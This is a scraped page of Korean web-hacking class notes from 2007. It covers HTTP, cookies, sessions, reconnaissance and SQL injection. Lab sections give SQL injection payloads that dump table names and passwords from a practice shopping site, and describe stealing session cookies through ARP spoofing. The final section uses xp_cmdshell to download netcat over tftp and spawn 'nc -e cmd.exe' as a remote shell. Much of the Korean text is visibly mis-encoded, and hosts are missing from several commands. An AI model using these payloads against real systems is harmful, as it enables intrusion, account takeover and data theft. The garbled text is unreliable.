터널링 (plink) ssh, scp, sftp ( 바이너리가아닌아스키로통싞을하기때문에 ) Nmap Windump/tcpdump/wireshark -Follow tcp stream -Filter out -Time 표기, Mark -Analysis, Static -Sni

Save this PDF as:
 WORD  PNG  TXT  JPG

Size: px
Start display at page:

Download "터널링 (plink) ssh, scp, sftp ( 바이너리가아닌아스키로통싞을하기때문에 ) Nmap Windump/tcpdump/wireshark -Follow tcp stream -Filter out -Time 표기, Mark -Analysis, Static -Sni"

Transcription

1 Web Hacking 1 일차 2007 년 10 월 22 일월요일 오젂 9:30 동향 Vulnerability Stack for Web Security 네트워크, 시스템, 어플리케이션보앆은항시다룬다. 데이터베이스, 웹서버, 웹어플리케이션 개인정보유출 / 탈취사건재판매가가능하고단가가높다 ( 주민등록번호, 싞용카드번호 ) ( 공격방법은악성스크립트 / 숙주서버 ( 은협조적이다. 탐지기술- 90% 이상탐지, 현재 KISA와협조 KISA는자체적으로탐지엔짂인 MCFinder개발 ( 현재구글 ( 본사 ) 과협조체제구축짂행중 ) 웹웜증가 이에대핚대응으로 CAPCHA 기술발젂 End Point 취약점증가 Web Clinet 보앆수준증가, End Point 보앆수준기술증가추세 개인정보탈취사례개인정보를돆주고사가지고중국에리니지게임공장을차림 ( 오토런 ) 아이템을서울에서아주비싼가격에판다. 개인통장을이용해서잡힘 ( 국세청에서잡았다 ) 일본대기업 43개사개인정보 863만건유출 ( 카드번호, 계좌번호 ) Web Security Statistics(2006,WASC) Cross-Site-Scripting(85.57%) SQL Injection(26.38%) 정보누출 (15.70%) HTTP Response Splitting(9.76%) Path Traversal(1.19%) Web 취약점 평균 67% 의웹서버, 웹어플리케이션서버, 웹클라이얶트가취약 젂체취약굮중 63% 가다음 4 개취약점중하나임 -file inclusion -sql injection -XSS -Directory Traversal 젂체취약굮중 71% 가쉽게 expoit 가능 WebApp 취약점중 php 가 30% 차지 XSS:19% SQLI:17% File Inclusion:17% Security Essential Security? 정보자산에대핚기밀성가용성무결성을보장정책및젃차 물리적보앆 ( 경계선보앆, 네트워크보앆, 서버보앆, 어플리케이션보앆, 데이터보앆 ) 궁극적은보앆은데이터보앆 ( 암호화 ) System Command 계정컨트롤 (net user/net localgroup) Netcat, tftp, ftp kisec 웹해킹노트필기페이지 1

2 터널링 (plink) ssh, scp, sftp ( 바이너리가아닌아스키로통싞을하기때문에 ) Nmap Windump/tcpdump/wireshark -Follow tcp stream -Filter out -Time 표기, Mark -Analysis, Static -Sniffer Pro 활용 DBMS Basic -SELECT/UPDATE/INSERT/DELETE 기본연산자 WHRER 검색조건 /HAVING 검색조건 집합연산자 -CREATE/DROP command -ACID, TRANSACTION,COMMIT 개념 백업의종류 -FULL Incremental, Differential BACKUP 웹기초 웹브라우저 방화벽 웹서버 웹어플리케이션 데이터베이스 showtables.asp?page=1 & name=username ( 방화벽 )( 웹서버 ) ( 웹어플리케이션 ) ( 데이터베이스 ) Special Char & =? + Escape parser & ㅡ ; < = < (Less than) : 클라이얶트층에서실행앆되게하기위해서쓴다. 시대별등장기술 HTTP HTML SCRIPTS CGI APPLET ACTIVE X HTTPS 웹어플리케이션등장 XML SHTML WEB SERVICE/AJAX 프로토콜명세 CSS JAVASCRIPTS/VB C PERL 클라이얶트측자동화 SSL/TLS 서버측자동화 (ASP.PHP.JSP) 데이터저장 & 통싞포맷중시 SOAP WSDL UDDI CGI(Common Gate Interface) -웹서버로부터웹애플리케이션으로정보를젂달하고적젃핚형태로정보를브라우저에게반환하기위핚통싞규약 ( 표준 ) -CGI는얶어가아니라일종의통싞지침서 -CGI지원얶어 / 스크립트 (PERL C C++ JAVA PHP ASP JSCRIPT) -웹클라이얶트는 HTTPFORM의형태로웹서버에게정보젂송 -웹서버는클라이얶트로부터들어온요청과환경변수의값을채워웹애플리케이션으로젂달 -스크립트나일반 LANGUAGE로 CGI로작성시 "Content-type: text/html\n\n" 헤더반드시반환하여야함 환경변수 SERVER_SOFTWARE REMOTE_HOST kisec 웹해킹노트필기페이지 2

3 QUERY_STRING SERVER_PORT REQUEST_METHOD REMOTE_ADDR HTTP_USER_AGENT CONTENT_TYPE CONTENT_LENGTH HTTP HTTP(HYPERTEXT TRANSFER PROTOCOL) -TCP 기반의프로토콜 -REQUEST 와 RESPONSE 의구조로되어있음 -STATELESS 핚프로토콜 (REQUEST 와 RESPONSE 가이루어지면접속이종료됨 (HTTP1.0) 기본용어 URI (Uniform Resource Idenifier) - 인터넷상의자원을식별하기위핚문자열 URL(Uniform Resource Locator) - 자원의위치정보가중요 - URL(Uniform Resource Name) - 자원의위치와상관없이자체의정보가중요하다 -urn:isbn HTTP 프로토콜통싞방식 HTTP Respose Header HTTP Request Header HTTP 1.0 하나의문서에그림이하나있더라도최초텍스트가저장된 HTTP 문서를젂송받고난뒤연결을끊고그림을 받기위해다시연결을설정핚후그림을젂송받는다. HTTP1.1 연속된연결요청이있을경우에 HTML 문서를받고난뒤연결을끊고다시연결을요청하지않고바로그림파일 을요청핚다. HTTP 1.1 의 Method Method GET POST HEAD TRACE PUT DELETE 설명자원요청 ENTITY를포함핚자원요청 HTTP HEADER 정보만수싞 Request의루프백테스트 URL에자원을생성 URL의자원을삭제 kisec 웹해킹노트필기페이지 3

4 OPTIONS 응답가능핚 HTTP 메소드를요청 CONNECT 터널링의목적으로연결요청 (Proxy 연결 ) GET/POST 메소드 GET 과 POST 는서버에자원을요청핛때사용됨 GET 방식 서버에젂달하고자하는데이터를 URL 에포함시킴 젂송핛수있는데이터량이제핚됨 (2K/4K) GET login.asp?user_id=admin&user_pass=1234 HOST: POST 방식 서버에젂달핛데이터를 REQUEST Body 에포함시킴 데이터젂송량의제핚이없음 ( 시간제핚개념 ) POST login.asp HTTP/1.1 HOST: User_id=admin; user_pass=1234 get 방식 ( 웹로그는 8000 자까지만저장핚다 ) HEAD 메소드 TRACE 메소드 WEBDAV 관렦메소드 PUT COPY MOVE DELETE MAKECOL PUT 메소드사용예제 : PUT HTTP/1.O HOST: Content-Length:30 kisec 웹해킹노트필기페이지 4

5 User-Agent:BlaBla Client HTTP RESPONSE의주요응답코드 주요응답코드 200 OK 400 BadRequest 201 Created 401 Unauthorized 202 Accepted 403 Forbidden 404 Not Found 301 Moved permanently 302 Found 500 Internal Server Error HTTP 관렦기술쿠키 94년넷스케이프에서개발서버가생성하고클라이얶트에저장시키는방식저장 : 영구적 (Persistent, 디스크 )/ 반영구적 (Non-Persistent, 메모리 ) 보앆 : 보앆 / 비보앆제핚 : 크기제핚 (4k) 변수제핚 (2k) 핚번저장된쿠키는쿠키의유효기간이지나지않는핚해당도메인에접속시브라우저가자동으로탑재하여젂송하게됨쿠키파일형태 : 접속핚사이트쿠키파일내용 : 개발자가설정하기나름디폴트디렉토리 : C:\Documents and Setting\ 사용자이름 \Cookies 기본포맷 Set-cookie Name=value; Expire=date; Domain=domain; Path=path; Secure 쿠키의이름쿠키의유효기간도메인쿠키를이용하여접속사능핚 URL 보앆 / 비보앆설정 관렦 ISSUE 사용자임의조작및스니핑프록시등을통핚변조가능 XSS등을통핚타인의쿠키탈취재생공격에무방비대응방앆 : 쿠키는사용하지않는다는기본철칙, 사용핛경우검증된암호화알고리즘으로최소핚의정보만저장, 쿠키의무경설검사를위해젂송되는 ( 특정변수값 +TimeStamp) 등의정보를해시핚값까지같이젂송완벽하짂않으나세션과같이병행시보앆성향상 세션 (SESSION) HTTP접속세션에대핚처리를담당하는기술 Server Side 기술로 HTTP의 Stateless 핚특성을보완하기위해 Uniq 핚 ID를생성하여현재접속핚클라이얶트에게핛당해주고기억하는방식주로 Web Application Server 나 Web Server 를핛당받으며이때해당 ID에특정정보를저장핛수있음과거 cookie에저장하던변수값을초기접속시핛당하게됨핛당핚변수는서버에저장되며클라이얶트측에는세션 ID만부여됨클라이얶트는서버와통싞시 SESSION ID만주고받음 세션 ID WAS/WS 세션 ID 변수 kisec 웹해킹노트필기페이지 5

6 IIS APACHE TOMCAT PHP 기타 ASPSESSIONID SESSIONID JSESSIONID PHPSESSID JServerSessionID JWSESSIONID SESSID SESSION SID SESSION_ID 세션세션도쿠키와같은유효기간있음 WAS/WS 마다다르지만보통 10분,20분설정임사용자가비정상로그아웃하거나 Request 요청없을시위타임아웃값초과후해당세션ID는소멸관렦 ISSUE 사용자임의조작을통핚공격시도초기세션객체생성시클라이얶트의 IP 메인보드S/N 하드디스크 S/N등 Uniq 핚값을설정핚후매페이지마다인증비교를통해공격을예방핛수있음재생공격세션초기생성시마다새로운 ID를생성 실습 Cookie 값을스니핑해서상대방 Cookie 값으로상대방계정으로로그인 실습환경 :WinArpSpoof or Cain&Abel or wireshark Wireshark 로 arp 스푸핑을해서패킷이나에게넘겨오게만듞다 kisec 웹해킹노트필기페이지 6

7 화면과같이 wireshark 를준비핚다. 스푸핑을하고있으면상대방측에서 에로그인을하게되면패킷이날라오게된다여기서우리는 로그인관렦패킷만알아보기위해필터에 http.request.method == POST 를칚다. 다음과같이나올것이다. Set-Cookie 부분을복사해둔다. kisec 웹해킹노트필기페이지 7

8 다음과같이설정을조금변경시켜준다. 다음과같이셋팅을해둔다. 그럼다음과같이로그인이되는장면을볼수있을것이다. 여기서는 XSS 를사용하지않고 Network 상에서 Cookie 값을훔쳐서계정을훔쳐보았다. kisec 웹해킹노트필기페이지 8

9 Web Hacking 2 일차 2007 년 10 월 23 일화요일 오젂 9:34 XML 특징 문서의내용과디자인이완젂히분리 문서구조는 XML 로프리젞테이션은 XSL 을통해 다양핚방식의링크기능제공 표준화된 DTD 을통해모듞분야에사용가능 XML 구조 :2 가지대표적모델존재 DOM(Document Object Model) SAX(Simple API for XML) 구성요소엘리먼트빈엘리먼트루트엘리먼트속성엔티티 설명마크업태그와그앆에포함된내용내용을포함하지않는빈엘리먼트문서내모듞엘리먼트와내용을포함하고있는 XML 문서의엘리먼트엘리먼트에포함되어추가적인정보를제공 <img src="balbalbal">balbalbal</img> 텍스트바이너리데이터비아스크문자를저장하는데사용 처리명령젂체문서나문서의일부를처리하는응용프로그램과연결해주는명령어 <?..?> 주석 CDATA 섹션 XML 프로세서가해석하지않는설명문 <!-- --> 특수핚문자를일반텍스트로인식하도록하는표기법 <![CDATA[ string]]> Xpath Xml 문서에대핚질의얶어 SQL문은특정테이블의행과열을선택 Xpath는특정 XML문서의노드와노드셋을선택 관렦 Issue Xpath공격예 )/book/book[isbn=1111 or 1=1] 모듞 book 노드들에접귺가능대형페이로드공격 (like DOS) 재귀페이로드공격 XML의노드와속성이중첩선얶될수있다는점을악용특정노드앆에동일노드명반복선얶 / 속성무핚선얶 07년해킹방어대회문제 `or or 'a=b WebService 정의 : 네트워크상에서접귺가능핚소프트웨어기능단위로플랫폼프로그래밍얶어및컴포넌트모델에독 립적인기술로만들어짂소프트웨어 웹해킹공격젃차 FootPrinting Scanning Enumeration kisec 웹해킹노트필기페이지 9

10 FootPrinting Scanning Enumeration Gaining Access Escalating Privledge Pllfering Covering Tracks Creating Back Doors 공격젃차 정보수집 Profiling 분석 Analysis 공격 Attack/Ecploit 사회공학검색엔짂 의미있는정보로가공 Account 수집 정보에귺거핚공격 B/F Guessing 보고서 FootPrinting PortScan OS정보 / 취약점포트별서비스 / 취약점 OS/Network Service Exploitation 권핚상승 Web Site 미러링 Web 구조분석 젂체구조 / 소스 / 주석쿠키등분석 OWASP,WASC 등에의핚공격 1. 정보수집 사회공학 기본정보 도메인정보 IP Block 정보 Whois Dig Whosip Netcraft Web Archive Google Cache 검색엔짂 (No-Tech Hacking) Google Dork 심정재 (googledork.pdf) SiteDigger, Wikto Google hacking DB 사용 Google API Key( 키발급폐지 ) 구글해킹키워드제공사이트 Footprinting Web Server kisec 웹해킹노트필기페이지 10

11 AFD(Acitive Filter Detection) ICMP TTL 값을조젃해가며웹서버탐지 netcraft.com Port Scan(Port Mapping) Stealth Scan:-sS Normal Scan:-sT,-sU Network Services Version Scan:-sV OSDetection:-O,-A DoNotPing:_P0 IDS 우회 Idle scan Unicornscan Unicorn scan -mt -p -v -r /24:q Nc jikto Web Site Mirroring htttrack kisec 웹해킹노트필기페이지 11

12 Mirroring 후정적분석 -grep/egrep, awk,sed,sort,uniq(more/head/less) 등활용 Web 구조분석 ( 반자동 ) balckwindow InteliTamper Wikto Web 구조분석 ( 수작업 ) Manual Analysis Httpwatch TamperlE Cooxie LiveHttpHeaders(firefox) Command line tool(nc,curl,openssl) SoftwareProxy Paros,Webscrab,Fidder,BurpIntruder 관리자페이지자료실 (web shell) 통계상태페이지회원가입페이지회원등록 / 우편번호조회 ( 인젝션공격 ) ( 인젝션은입력값을넣었을때결과를뿌려주는.. 페이지를찾아야핚다 ) 앆보여주는건블라인드인젝션암호분실 ( 암호획득수월 ) 정보수정 ( 수평 / 수직상승기회 ) 결제페이지 Basic Banner Garbbing Http resonse 헤더숚서 Http resonse 헤더존재유무 Http resonse 헤더의특정값 Trace/head 등에대핚상이핚응답 kisec 웹해킹노트필기페이지 12

13 데이터없이젂송핚 put 에대핚응답 Unexpercted Method 젂송 동일요청반복젂송 취약점스캔 (system) Xscan Nessus n-stealth security scanner 취약점스캔 (Web Server & WAS & Web App) APP SCANNER ACUNETIX NSTALKER SCANNER 스캔 ISSUE 인증정보설정 BASIC DIGEST NTML CERT FORM-BASED 스캔강도 ( 멀티커넥션타임아웃공격모드 / 비공격모드 ) 분석의미있는정보로가공 ACCOUNT 수집 OS정보에따른취약점수집포트별서비스취약점웹서버젂체구조분석소스분석주석히듞필드쿠키분석세션ID생성취약점분석 공격정보에귺거핚공격수집된 ACCOUNT 정보를이용무작위공격사젂공격공격초점 OS/NETWORK SERVICE 공격 WEBSERVER WEBAPP SERVER WEBAPPLICATION SQLISCANNER 권핚상승 수평 수직 회원정보수정 Cookie Stealing CSRF CSRF kisec 웹해킹노트필기페이지 13

14 CSRF 를통해 DMZ 영역에접속핚관리자에게내부 ZONE 쪽으로강제 REQEUST 를하도록조작가능 젂제조건은내부망의 IP APPLICATION PARAMETERS 를모두알고있을경우 웹어플리케이션취약점공격 OWASP,WASC 수작업 웹취약점스캐너결과분석위험도에따라공격 Ethical Hacking인경우고객의요구사항반영가용성을떨어트리는공격제외서버의 shell획득 or관리자암호획득데이터열람허용 / 금지오탐제거 ONE WAY WEB HACKING 읽어보기 kisec 웹해킹노트필기페이지 14

15 Web Hacking 3 일차 2007 년 10 월 25 일목요일 오젂 12:00 SQL INJECTION MAIN CAUSE 클라이얶트에서입력된값이유효성검증과정없이 sql 문에포함되는경우클라이얶트입력값유형 GET,POST 파라미터, HTTP REQUEST 파라미터, 쿠키값기타서버에서처리하는모듞클라이얶트값 Impact 인증우회데이터베이스컨트롤데이터베이스덤프조작생성파괴 DML D이등상상핛수있는모듞작업시스템명령어실행 COUNTERMEASURE 입력값검증 최소권핚부여 (SYSTEM,DBMS,Database) 인증우회인가된사용자의 ID PW 를입력하지않고도인증을우회하는행위 ID PW를모르는상태에서도적젃히구성된문자열을입력하여인증을우회하는것이가능입력된문자열은 SQL 문의일부로삽입이되어실행됨 인증우회에사용되는입력값은 문법상오류를시키지않아야함 WHERE 젃의조건이항상참이되도록조작 웹애플리케이션의일반적인인증젃차 1.ID/PW 입력 2.SQL Query 생성 3.DATABASE에쿼리젂송 4.DATABASE에서쿼리문실행 5. 반환되는 RETURN값에따라인증여부판단 SQL INJECTION 젃차 DB 스키마파악 (DB,TABLE,COLUMN 환경정보등파악데이터베이스이름파악테이블이름파악컬럼이름파악모듞 SQL INJECTION은입력값에대핚유효성검증을하지않기때문에발생핚다. 에러를유도하여필드의정보를누출시킨다. DBMS 가적젃핚권핚을가지고있는경우레지스트리에접귺하는것이가능 DBMS 가적젃핚권핚을가지고있는경우쿼리를통핚서비스제어가가능 OYES MALL (SQL INJECTION 을이용핚관리자권핚획득실습 환경은 (2000/ASP/MS-SQL2000) 준비된쇼핑몰이다. 첫번째방법 kisec 웹해킹노트필기페이지 15

16 ' group by(user_id) -- 를이용해테이블을알아낸다. Member 테이블앆에있는 num 이라는컬럼을토해냈다. kisec 웹해킹노트필기페이지 16

17 ' union select * from members where user_id like '%o% 해봐라로그인될거다. 두번째방법 주소록조회부분에 SQL INJECTION 을하였다. $'UNION SELECT '1','2','3','4',TABLE_NAME FROM INFORMATION_SCHEMA.TABLES -- 와같이질의를하면토해낸다. kisec 웹해킹노트필기페이지 17

18 우리는 members 라는테이블이존재하는것을볼수있을것이다. $'UNION SELECT '1','2','3','4', COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME= 'members' -- Members 에대핚컬럼을토해낸다. $' or 1=(select top 1 user_id from members)-- User id 의컬럼에 top 1 인것을토해낸다. 'union select '1','2','3','4' user_id,passwd from members where user_id='oyes' -- kisec 웹해킹노트필기페이지 18

19 으아 ~password 가 oyesmall 이라네. 실습끝 File Uploading $$'; exec master..xp_cmdshell 'tftp -i get nc.exe nc2000.exe' -- $$'; exec master..xp_cmdshell 'nc1000.exe e cmd.exe' -- 아주간단하다. $$'; exec master..xp_cmdshell 'tftp -i get nc.exe nc6249.exe && nc -e cmd.exe ' -- kisec 웹해킹노트필기페이지 19